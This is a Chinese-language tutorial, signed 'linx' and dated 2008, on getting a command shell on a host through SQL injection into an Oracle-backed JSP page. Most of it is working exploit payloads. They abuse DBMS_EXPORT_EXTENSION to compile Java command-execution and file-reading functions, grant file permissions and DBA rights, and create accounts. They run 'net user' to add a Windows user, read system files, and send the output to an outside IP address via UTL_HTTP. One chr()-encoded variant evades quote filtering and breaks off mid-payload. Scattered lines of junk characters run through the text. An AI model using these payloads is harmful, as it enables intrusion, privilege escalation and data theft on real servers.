. s, F' f6 [8 G* D; Z) ^. J% |' v; X' b! {6 w2 I5 y( q
介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
* }" k4 c+ @+ t" ^: Z
% z! V+ n9 m2 U% N以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成5 `! H4 } q/ j) i. r# B" ^; L2 t
; N1 d" g( X9 f# a, {* Q) G; p/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)& X* K) m) J @/ k4 C
4 U7 K9 w" Y' r! q1 f; I. Z4 w! l
的形式即可。(用" 'a'|| "是为了让语句返回true值)
* k& F& ^7 H# f; |3 q$ l, d/ t8 k6 o! ^; l6 x; I' p
语句有点长，可能要用post提交。. O' Q7 i5 _2 U# C" V
) Y5 {" t4 p( i. n
5 o; l0 u! ^% e2 y4 n( N
4 n, F! T& c9 U
以下是各个步骤：
3 |/ s( D5 n$ I/ A1 K6 M! o4 E' n8 d v
1.创建包( y( L( m. p9 z$ |. ~& v
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：
$ d3 r& I" G5 ?0 R5 L( }1 B$ Y) T% x7 I
/xxx.jsp?id=1 and '1'<>'a'||(
/ j% x5 @5 u1 C
; e- M- W$ W# Q( Rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# z5 W# ?8 o9 F# H) x2 kcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
5 R, Y! I) R, U! _* Fnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
" h) ]7 r& n1 \- D2 R}'''';END;'';END;--','SYS',0,'1',0) from dual
2 G) y+ s, b3 o Q6 f* m. V3 _0 i" U8 T& W7 ^6 G+ @ ~
)
g: @5 }2 G; J1 J
1 ?9 |( t* u% A8 R9 h------------------------
0 u2 W# ~) e: ^) Z, P4 x如果url有长度限制，可以把readFile()函数块去掉，即：
2 t; i) F% P% p) X6 s/xxx.jsp?id=1 and '1'<>'a'||(
' w' c& X; n1 ? m1 c; P( @6 p# [0 d8 v7 a, V
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''2 A% L6 f' G' N
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
- ^# o' c; N L `$ C P$ ?new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
% s) K0 r/ [& e2 Q2 L}'''';END;'';END;--','SYS',0,'1',0) from dual
3 G6 L0 \% L! A1 a2 S5 Y h) ^# w( G4 d4 Q t: X
)
@# U. r! x, I( M1 o K! c. M+ b" J/ J) x' [
同时把后面步骤 提到的 对readFile()的处理语句去掉。8 Q$ ~" N2 O# g7 Z' S
------------------------------8 E, Z) G8 o7 g
2 m% @! G! N8 \. D7 O- W# Y
2.赋Java权限, x2 ]! v5 c/ i' J' U
7 k5 k# E5 G2 Y4 gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual" x$ f# j3 ]# c
9 ^+ ?3 l A$ W/ y
7 s- Y8 n3 V$ k5 X1 D' m: c
( _) ]1 ]- M9 |- S# J# `9 W3.创建函数0 P" }' ~2 W$ t. z
0 B- ^4 \8 A* C0 h, o
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! S7 I8 y% e9 mcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
% I3 i/ B% Y# k% C# o) e1 Q- |# d: G$ }1 t& p/ {
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''2 J, s }! C1 F9 @3 U9 N9 m
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
; b/ W' R n0 \
3 [: p& w6 P# n4.赋public执行函数的权限
. U! D9 Q9 e6 K5 _" a6 H+ d; f' ?# S6 i; b
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
' l& Q, u1 K" |1 A1 B( |9 ^) i; A" c: p* P: k/ A. O/ A
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
4 G& @+ A) r) v1 x+ F/ N3 R' j$ X5 N4 n! O7 l/ H
, j& Z/ V, Z$ o# f4 y8 Z1 s/ ]
6 A$ c& w* F$ O- m
5.测试上面的几步是否成功5 M9 _3 | {' E
}4 @- N, g" ~% i; D& n( cand '1'<>'11'||(
! n; y/ q6 t9 }5 b. Z! Eselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'4 Z0 i% G) i* m+ y
)
4 I2 @% [2 l( m; d/ {/ d/ \7 ^" \. H" H; D- f8 @* H0 r5 a; s
and '1'<>( G3 w. R4 g( r; K" @- n
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
9 c( Z8 h7 } w7 ^$ z), u% J m$ D3 j
+ F) J/ B9 `' h+ m$ B6.执行命令：
7 T$ n, f3 p1 v2 X% X: `- P2 j
3 }. h' A& f# i$ e/xxx.jsp?id=1 and '1'<>(
$ h E q" Y7 dselect sys.LinxRunCMD('cmd /c net user linx /add') from dual* F! s3 X2 O6 [: d. N# |) @
)) Y; I& G* c& m
2 O1 O* n7 r! H7 B. r5 z. n* l/xxx.jsp?id=1 and '1'<>($ i' a+ t! [4 i( C
select sys.LinxReadFile('c:/boot.ini') from dual1 L( V7 g6 v& i0 e
)
/ G- N3 J4 W, u+ f+ L) a5 T+ A" I0 m) A
注意sys.LinxReadFile()返回的是varchar类型，不能用"and 1<>" 代替 "and '1'<>"。7 j2 W1 h3 Y+ S/ ~$ e ]
如果要查看运行结果可以用 union :/ c, `2 Q1 |$ ^0 j" R2 w
8 s) t% n$ O w; d/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual7 O; ^* I& r- m. D! h. f0 C
- ~( U0 F) v) ~& p/ i0 b或者UTL_HTTP.request(:% i3 H6 `& d: N% Y; y9 x! [ }
0 l. G- ?* j1 d9 A, [) E
/xxx.jsp?id=1 and '1'<>(8 u G$ A9 i: L( w( f6 S, w
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual, s4 X4 z1 ?; Z- Z
)- A3 s, Z% s1 M ^6 O, a1 Q
5 N& ~3 |8 e; J% @
/xxx.jsp?id=1 and '1'<>(3 B0 T# x* K2 {$ _8 |/ J" \/ r
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
3 v/ o$ G: j# n- \; Q)
2 J! K5 k! g7 f, A
; I! C& i; d0 k% I' N注意：用UTL_HTTP.request时，要用 REPLACE() 把空格、换行符给替换掉，否则会无法提交http request。用utl_encode.base64_encode也可以。, j* e: ?. p7 m& O( N0 p
* W* M! m J" m# L/ a4 o
2 S. c' C6 X2 D& L% n6 m# k" a# F/ K6 k% |) _
: b, X# @$ ~/ }% q. C9 D) A
) Z% V: m( B+ b. K--------------------
8 N$ T5 ^2 c/ V' P$ g6 D
6 T) k2 x/ y- } r, p: f% i' C. z) [6.内部变化
, E, _1 Q, U9 f% l' s通过以下命令可以查看all_objects表达改变：
# n; Z& `/ x6 B" q7 hselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
; q: x5 R5 {! n& i, d; t1 m
; D3 M+ ]! N. O9 S7.删除我们创建的函数
; K4 E/ k6 }: V4 J+ E% _& ^( p/ G0 wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) |/ N5 s; s( ], H1 Sdrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
+ M0 o. {& m/ d& n+ Z9 ]+ u: V" R6 c: R
' k' S; c( Z! M7 ]
4 Y3 [& ^: G7 E9 t7 ?) d
: X! r( ^: y2 |' G7 w5 W: P2 z0 O* K Q. B: ~) z8 i' B0 u1 l
====================================================
8 h$ {, x5 R) c$ X. b3 J全文结束。谨以此文赠与我的朋友。2 ~/ ]9 }' \) {3 h: P: s
9 [ @) J" r; r( Q
linx
! f2 t6 z! A0 Q; x- ]* O1248294456 _* p: c- ^3 _5 W% }; L+ d( M
2008.1.12& O S8 d1 I/ x, p. P$ n
linyujian@bjfu.edu.cn
% z1 E7 F$ ]7 R3 m3 V$ ^& ]; |
/ L7 {" r. p- p& j, P2 Y u+ w1 D5 c( y" _) `6 [# A
% H5 ?: y4 ^3 D: l3 m9 O% ?! U9 y- \8 x1 W4 d* m7 N
7 Q% o6 f0 j- x1 e- I, Z! r
======================================================================0 @, e5 h1 A5 I" F3 S2 S; a
, E9 Q, {9 h3 c$ a, g+ s) o
测试漏洞的另一方法：5 D2 V7 a' f" F) T: n
" |" O6 r; `+ E
创建oracle帐号：/ d3 |, H! T6 i: D& a' y- z1 R
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' E) v' v! T) d1 B
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
3 | ?' _; U b5 I1 Q* ~% G
2 `1 K' i$ M& e5 n- m. n: G即：/ ]2 K. ]) |) m. H: m
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
, T. W& }9 }4 H& { g9 Xchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual6 o; p6 u- l6 @, V% K3 }
# b2 i4 b& b8 {: a+ ? e$ A' s确定漏洞存在：
) B2 a2 c3 T5 ]1<>(% d- y5 i9 s4 R; N' `9 a
select user_id from all_users where username='LINXSQL'
- d7 f b% a* m2 r)5 [3 x! E# j7 D* ]8 K( j
. H' b" j, z6 k
给linxsql连接权限：
/ a2 U+ ]+ u0 yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ d& s; ^7 w1 O( y5 n9 m3 xGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual e5 F, q& T( K8 k+ d
: h$ K( ~: I9 J8 w4 M) p4 p0 p删除帐号：
& S1 n! t% ]) U A" Jselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''/ P+ z# F+ @3 x* k" x; l) Y. j
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
& ^2 a, F" F. i' y0 V. r2 o: Q6 Z- ?- n. v1 s
====================== `# @0 q2 c: Z' c2 t
. U, r U1 b1 @* B
以下方法创建一个可以执行多语句的函数Linx_query()，执行成功的话返回数值"1"，但权限是继承的，可能仅仅是public权限，作用似乎不大，真的要用到话可以考虑grant dba to 当前的User：/ c1 B3 d/ W& p4 |+ D, Q
3 r& }# s; {1 R8 s% I* h0 k& a1.jsp?id=1 and '1'<>(" b) E6 n4 I3 o* p
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
. N0 D; h8 t2 }! tcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
7 p3 C/ A3 [1 p" A) and ...
K. b1 Q' S% m2 c+ [
$ S! e5 a7 h4 P' a1.jsp?id=1 and '1'<>(2 Y4 E" h! s) f0 {% w: Y; V0 a
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
6 ?/ E9 ~" g9 O a) and ...* b8 a( |, x) ]$ r P( P: O; @! u% } N
8 t m& T0 ^& N/ v; w$ I: }; P9 m
1.jsp?id=1 and '1'<>(
7 }- j7 G H' t8 t* jSELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
S# A+ D$ l" A5 a6 J: B* N) and ...# f! I& ?+ Y3 h- i1 A+ C0 w2 L
9 t( K M( I& a& a$ ]! s
. D; p+ y) {0 v( G, }; x3 p: B" ~: i9 ^
1.jsp?id=1 and '1'<>(
8 G) h" W( }' ]/ HSELECT sys.Linx_Query('declare pragma1 i' @& W# P- b
autonomous_transaction; begin execute immediate ''8 g; t# ^5 R' L- D! o
select 1 from dual: y/ ?! G+ d0 P, a9 T0 s+ y4 C
''; commit; end;') from dual
% a2 m6 }, b! k) B# X5 y) and ...& r# H5 j# g0 F% M3 u
9 D& \0 k6 s( y# Q
多语句：1 I+ {! g `5 k# j
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual4 v, {! Z w3 P. }" ~2 a! g
p. Q* a/ L8 V) K# w创建用户(除非当前用户有system权限，否则无法成功)：; S K6 q3 K9 a0 r7 j8 p( s
SELECT sys.Linx_Query('declare pragma
. A2 [2 M6 `& e0 m8 [) rautonomous_transaction; begin execute immediate ''- b, O# M$ a' B
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User- R) h" z6 f; \4 O
''; commit; end;') from dual
3 v2 `; D% j* ]5 D& g* t/ d4 P3 w; {' p* S6 G
# {) ~2 e+ q& q$ L- W9 [8 a
* [: v# i7 ~% h; w
0 U7 {& U2 v9 @' V: k( o: T$ P* V" e
4 n( z0 }6 i E0 F0 R# ~0 p================; {# O% @6 o! c$ M8 [: [
以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
% C! J; r+ [1 E$ c# K. @1 _1 Y
% l# F0 i5 ~" q8 D/ c1.创建函数
6 H+ e! s9 f4 Y0 O& ~select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ @0 e% @. O; }7 Mcreate or replace function Linx_Query (p( h9 J4 T$ `) G( o5 @4 S
varchar2) return number authid current_user is begin execute immediate/ t( [7 q# P" h
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
7 _: q! ]3 w+ A5 n+ w! [; [6 s5 [) l+ H
如果有权限，以下语句应该允许正常
) W' y6 U- k* y; Nselect sys.linx_query('select 1 from dual') from dual;: ?9 y% J7 k) O8 P
$ `0 f' C$ q+ R2 ^# j% a
不然的话运行：
( o0 j! M- I& R8 I, z1 J. |6 j2 v( O; a/ i# O/ N
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
/ e- S( e& D* ]) g6 `grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual0 Z7 L, u8 V- N8 `
% t+ t' M. M* p( F6 [4 u* |
: S7 l" a: a9 ~8 { t
. d. a- U3 R! z- _4 [1 c, R' v
2.创建包1 y& q1 {$ E9 z* X7 f9 {& Y
SELECT sys.Linx_Query('declare pragma
+ ] E# ]* h: zautonomous_transaction; begin execute immediate ''- s1 K( [$ T9 Y( r5 z: m3 M3 T
create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(' f2 t) p2 c: m2 K& v
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
4 t! I8 q8 e4 U1 W' L5 p% D4 F" H
8 F$ o5 p. x! H* X- e3.创建函数
\1 d# n& U1 H( sSELECT sys.Linx_Query('declare pragma' t) w; ~0 x. _: T# i
autonomous_transaction; begin execute immediate ''
. F: s9 _/ P/ @# W: k7 Ccreate or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual( t! P, ?7 v k% R7 h; U# G1 V+ q
; z8 d: P6 N8 J/ q) v- N
4.给权限
( M( Y! a* ~/ i# n# {给用户SYSTEM执行权限：
% Y2 \; k3 W* w
3 |) H2 D; M" h$ R; y( \) MSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual) x) e' m& x% e$ y" u# I
" C7 p: ]- i0 y& h$ n
4 W, [5 N" h1 F7 V7 h4 K/ B+ v2 ~3 z# K! T$ j; h) L
5.执行函数3 Y1 L" z+ n- q
select RunCMD2('cmd /c dir') from dual
$ h0 P/ ~3 y1 i: n; m
" c- L3 ~' ?+ p9 {0 V# f
( r/ B6 B$ a/ x1 T, r e5 b) g+ ]
' r+ e$ t. B* I5 h7 f1 [, E O* L# [
3 k3 w0 s" j! p B$ n
==================
' ^. p- x1 n# [" m/ C================================" k( @5 t" l. D2 j
* F( T1 h2 F& Q* N以下是无 " ' " 版：; F1 D6 ^: q8 N% D: ]* Z5 x
: z8 C. Y9 E. _3 N2 E- Z, ^/ n6 q
以下是各个步骤：
/ I, v6 y, c+ o) _
7 H% N2 ?; x1 W n0 H x1.创建包0 W: G4 R( {. q7 ?% U$ O
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：
. L' M1 M- D7 Y: l3 `+ {5 ^! f1 e+ @因为建立了两个函数，转换为ascii后，语句更长了，注意提交时不要把换行去掉，否则执行不成功的：; p- i0 I! `$ Y$ ]& X! t
9 X- d$ g4 d8 R2 E% [/xxx.jsp?id=1 and chr(49)<>chr(50)||(
) a$ ^+ w6 X, s. K4 r5 f" \) o3 W" D
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
# c H7 \& G1 _8 @+ L/ \chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||; O7 `) }. {( `
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
# w- w2 f1 X) l8 e X3 M4 ]' lchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
' V8 \) Q: {/ j9 S6 ychr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||1 O& p, D3 Z* C' U ~: X
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||/ I8 ~5 X [( c5 G2 x5 K8 c
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
- C( l& N+ s: D! n: U; u0 |" qchr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
8 G, e( [# p7 t/ F- X; B: |chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||( Q* G3 a& N7 C: Y4 X( V8 M& K
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||4 i: Q: F7 v* h4 I! n8 C% \
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||" U% f: y5 m$ g3 k4 _2 [
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||5 j0 p$ J6 } `0 E' b+ U
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||8 R8 j8 r& S) e U8 ]) c4 a
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||. G( o9 O, ^+ W ^; |; j
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
o0 a4 l# `7 S2 W1 x) Y5 d2 h0 Ichr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||& n; @$ \; G- f' F4 t$ M
